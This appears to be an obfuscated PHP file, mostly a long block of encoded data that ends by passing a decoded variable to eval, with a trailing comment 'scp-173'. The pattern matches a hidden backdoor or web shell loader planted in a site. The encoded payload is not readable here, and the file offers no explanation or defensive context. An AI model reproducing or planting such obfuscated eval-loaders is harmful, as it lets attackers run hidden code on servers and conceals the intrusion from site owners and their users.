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")); echo "{${ eval ($s6353) }}";//scp-173?>